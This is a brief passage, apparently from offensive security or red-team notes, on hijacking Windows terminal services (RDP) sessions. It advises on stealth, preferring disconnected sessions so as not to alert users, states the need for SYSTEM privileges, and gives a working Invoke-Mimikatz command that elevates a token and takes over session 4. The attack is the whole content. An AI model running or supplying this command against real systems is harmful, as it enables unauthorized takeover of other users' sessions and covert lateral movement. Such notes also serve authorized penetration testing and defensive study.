Hijacking

This method is not stealthy and will disconnect a users active terminal service session. However, you will also be able to connect to a disconnected session which could be stealthier.

This method also requires privileges as SYSTEM on the terminal server host.

Connect to the terminal services session.

Invoke-Mimikatz -Command '"token::elevate" "ts::remote /id:4"'
